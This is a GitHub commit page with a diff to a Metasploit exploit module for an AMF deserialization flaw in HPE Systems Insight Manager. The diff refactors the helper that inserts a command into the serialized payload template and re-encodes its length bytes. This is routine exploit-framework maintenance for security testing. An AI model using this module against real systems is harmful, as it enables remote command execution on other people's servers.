Skip to content

Commit d739bf7

Browse files
committed
Fix up payload_template_adjustments function to use a simpler loop like structure as per space-r7
's recommendations
1 parent 306e197 commit d739bf7

File tree

1 file changed

+19
-21
lines changed

1 file changed

+19
-21
lines changed

modules/exploits/windows/http/hpe_sim_76_amf_deserialization.rb

+19-21
Original file line numberDiff line numberDiff line change
@@ -99,29 +99,27 @@ def exploit
9999
def payload_template_adjustments(original_content, cmd)
100100
original_content['PAYLOAD'] = cmd
101101
original_content[0x47A..0x47B] = [cmd.length].pack('n')
102-
103102
second_adjustment_length = original_content[0x3C..-1].length * 2
104-
if (second_adjustment_length >> 7 >> 7 >> 8) != 0
105-
fourth_number = (second_adjustment_length & 0x7F) + 1
106-
third_number = (second_adjustment_length >> 7) | 0x80 # And with 0xFF00 to only get the top 8 bytes. Then right shift by 7 to undo the left shift by 7 in the code, and
107-
# since this is a number greater than 0x7F, add in the sign bit again by ORing with 0x80.
108-
second_number = (second_adjustment_length >> 7 >> 7) | 0x80 # Same thing as above but right shift 7 twice to undo the left shift by 7 twice in the code.
109-
first_number = (second_adjustment_length >> 7 >> 7 >> 8) | 0x80 # Same thing as above but right shift 7 twice to undo the left shift by 7 twice in the code and also right shift by 8 to undo the left shift by 8 in the code.
110-
original_content[0x3A..0x3B] = [first_number, second_number, third_number, fourth_number].pack('cccc')
111-
elsif (second_adjustment_length >> 7 >> 7) != 0
112-
third_number = (second_adjustment_length & 0x7F) + 1
113-
second_number = (second_adjustment_length >> 7) | 0x80 # And with 0xFF00 to only get the top 8 bytes. Then right shift by 7 to undo the left shift by 7 in the code, and
114-
# since this is a number greater than 0x7F, add in the sign bit again by ORing with 0x80.
115-
first_number = (second_adjustment_length >> 7 >> 7) | 0x80 # Same thing as above but right shift 7 twice to undo the left shift by 7 twice in the code.
116-
original_content[0x3A..0x3B] = [first_number, second_number, third_number].pack('ccc')
117-
elsif (second_adjustment_length >> 7) != 0
118-
second_number = (second_adjustment_length & 0x7F) + 1
119-
first_number = (second_adjustment_length >> 7) | 0x80 # And with 0xFF00 to only get the top 8 bytes. Then right shift by 7 to undo the left shift by 7 in the code, and
120-
# since this is a number greater than 0x7F, add in the sign bit again by ORing with 0x80.
121-
original_content[0x3A..0x3B] = [first_number, second_number].pack('cc')
122-
else
123-
original_content[0x3A..0x3B] = [second_adjustment_length + 1].pack('c')
103+
104+
pack_array = []
105+
current_number = second_adjustment_length
106+
for count in 0...3
107+
if current_number >> 7 == 0
108+
break
109+
else
110+
if count == 2
111+
pack_array.prepend((current_number >> 8) | 0x80)
112+
break
113+
else
114+
pack_array.prepend((current_number >> 7) | 0x80)
115+
current_number = current_number >> 7
116+
end
117+
count += 1
118+
end
124119
end
120+
pack_array.append((second_adjustment_length & 0x7F) + 1)
121+
original_content[0x3A..0x3B] = pack_array.pack('c*')
122+
125123
original_content
126124
end
127125

0 commit comments

Comments
 (0)